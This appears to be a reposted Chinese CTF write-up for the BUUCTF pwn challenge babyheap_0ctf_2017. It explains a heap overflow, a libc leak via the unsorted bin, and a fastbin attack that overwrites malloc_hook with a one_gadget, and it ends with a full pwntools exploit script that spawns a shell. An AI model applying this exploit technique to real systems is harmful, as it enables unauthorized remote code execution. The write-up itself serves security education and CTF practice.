【BUUCTF - PWN】babyheap_0ctf_2017

checksec一下,堆题果然是保护全开

IDA打开看看,首先mmap一块随机区域,用于存放我们申请的块的属性,然后输出菜单,有allocate、fill、free、dump功能

可以注意到,在创建堆的时候,将堆的地址和大小存放在了mmap的区域中,并且使用的是calloc,会将申请的内存区域清零

漏洞点在fill函数中,没有限制输入内容的长度,从而可以堆溢出

删除堆后会将指针置零

输出堆内容的长度是由创建堆时指定的

泄露libc地址的思路是,当只有一个unsorted bin时,该chunk的fd和bk均指向main_arena+0x58,而同一个libc中main_arena的偏移是固定的,因此可以计算获得libc地址

首先free 2个fast bin,第二个fast bin的fd会指向第一个fast bin,通过堆溢出修改fd指向unsorted bin、修改unsorted bin的size,再allocate 2个fast bin,第二个fast bin会和unsorted bin重叠,此时通过堆溢出修改unsorted bin的size并free,就可以从第二个fast bin中dump出unsorted bin的fd

拿到libc地址后可以考虑通过fast bin attack写malloc_hook,先allocate并free将unsorted bin转成fast bin,然后通过fill第二个fast bin写fd指向malloc_hook附近的地址,再allocate 2个fast bin,新的第二个fast bin会位于malloc_hook附近,利用fill将malloc_hook改为one_gadget,下次allocate时就能拿到shell

在malloc_hook附近找伪chunk时,可以注意到0x7f满足大小为0x60、0x68的fast bin,可以通过不对齐内存,利用0x7f和7个0x00拼凑出一个64位整型来作为伪chunk的size(注意这里是小端序,数字应该两位两位的倒过来看)

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

rl=lambda :io.recvline()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

def add(size):
    sla('Command: ','1')
    sla('Size: ',str(size))

def fill(index,content):
    sla('Command: ','2')
    sla('Index: ',str(index))
    sla('Size: ',str(len(content)))
    sla('Content: ',content)

def free(index):
    sla('Command: ','3')
    sla('Index: ',str(index))

def dump(index):
    sla('Command: ','4')
    sla('Index: ',str(index))

io=remote('xxx',xxx)

add(0x20)
add(0x20)
add(0x20)
add(0x20)
add(0x100)
free(1)
free(2)
fill(0,p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p8(0xc0))
fill(3,p64(0)*5+p64(0x31))
add(0x20)
add(0x20)
fill(3,p64(0)*5+p64(0x111))
add(0x20)
free(4)
dump(2)
rl()
libc_base=u64(rn(8))-(0x3c4b20+0x58)
add(0x60)
free(4)
fill(2,p64(libc_base+0x3c4b10-0x23))
add(0x60)
add(0x60)
fill(6,p64(0)*2+p8(0)*3+p64(libc_base+0x4526a))
add(0x20)

io.interactive()

附件:babyheap_0ctf_2017

发布了30 篇原创文章 · 获赞 9 · 访问量 7382

猜你喜欢

转载自blog.csdn.net/tqydyqt/article/details/105321363